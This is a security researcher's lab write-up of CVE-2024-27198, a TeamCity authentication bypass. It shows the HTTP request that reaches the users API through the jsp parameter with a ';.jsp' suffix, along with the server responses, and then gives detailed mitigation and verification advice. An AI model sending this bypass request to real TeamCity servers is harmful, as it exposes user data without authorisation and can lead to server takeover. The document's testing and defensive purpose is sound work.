cve-2024-27198 / teamcity 2023.11.3

teamcity authentication bypass

security researcher

i tested the user api through our docker gateway at localhost:18080 using burp repeater. no login cookie or authorization header was sent. the normal path required login, but an alternate path returned the user list.

the normal request

i requested the users endpoint directly. teamcity returned 302 and pointed to the login page.

```
GET /app/rest/users HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0
Accept: application/xml
Connection: close

```

```
HTTP/1.1 302 Found
Server: nginx
Date: Sat, 24 Oct 2026 13:02:49 GMT
Content-Length: 0
Connection: close
TeamCity-Node-Id: MAIN_SERVER
Location: /login.html
Access-Control-Allow-Headers: *

```

the bypass

i reached the same endpoint through the jsp parameter. this time the server returned 200.

```
GET /hax?jsp=/app/rest/users;.jsp HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0
Accept: application/xml
Connection: close

```

```
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 24 Oct 2026 13:04:24 GMT
Content-Type: application/xml;charset=ISO-8859-1
Content-Length: 876
Connection: close
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
```

the user list came back



the xml response contains seven user entries. the account names shown are synthetic test data.

this confirms unauthenticated access to the user list. the known cve can also allow admin actions, but these screenshots do not show an account being created or a server takeover.

why it worked

the vulnerable handler accepted a jsp destination from the request. the outer path entered teamcity's error handling, then the jsp value made it process a different resource internally.

the ;.jsp suffix passed the handler's filename check while the destination still resolved to the rest api. the normal login check did not protect that alternate route.

why the controls let it through

the result points to a gap in the rules for teamcity's internal routing. the waf could inspect the query string, but the rules in this setup let the request through. checking for common attack patterns did not stop the application from serving a protected api.

suricata needs to see the traffic and have a matching drop rule running inline to stop it. wazuh needs the proxy and teamcity events plus rules for the behavior. the screenshots do not show whether either raised an alert.

dlp would need a policy that recognizes and blocks this output. here the user list came back as an ordinary xml response. docker isolation can restrict connections between services, but this request used an allowed web connection. the application still needed to enforce login.

what i would change

patch teamcity first. upgrade to a maintained release with the current security fixes. 2023.11.4 was the first fix for this cve. use a current release to cover later security fixes too. if an upgrade must wait, apply the official jetbrains security patch plugin as an interim step.

protect the whole host. require a vpn or an identity gateway before teamcity. apply that policy to every path, including unknown paths. protecting only the usual rest prefix leaves alternate routes exposed. give build integrations their own approved access. in docker, publish the gateway and keep teamcity on a private network with no direct public port.

check the blocking rules. use a maintained waf rule for this cve and test decoded jsp values, semicolon suffixes and encoded variants. verify modsecurity is in blocking mode. where suricata can inspect the http traffic, confirm the relevant rule actually drops it. treat these rules as temporary cover while patching.

watch sensitive actions. send proxy and teamcity audit logs to wazuh. alert on unexpected admin accounts, role changes and token creation. keep request ids and the server-verified identity so an unusual request can be tied to an account action. keep passwords and tokens out of logs.

make later bypasses harder. for services we build, check permissions at the protected operation even when another route forwards there. deny access when identity or permissions cannot be verified. test alternate routes after framework and proxy updates.

how i would verify the fix

repeat both captured requests without credentials. neither should return user data. test encoded variants and check that authorized users still work. then confirm the request and expected block appear in the relevant logs.

references

jetbrains advisory - affected versions, fixed release and patch plugin

rapid7 original research - alternate dispatch and exploitation details

owasp authorization guidance - deny by default and check every request

suricata ips documentation - inline filtering and drop enforcement

wazuh custom rules - rules for application and security events

docker port publishing - exposure created by published container ports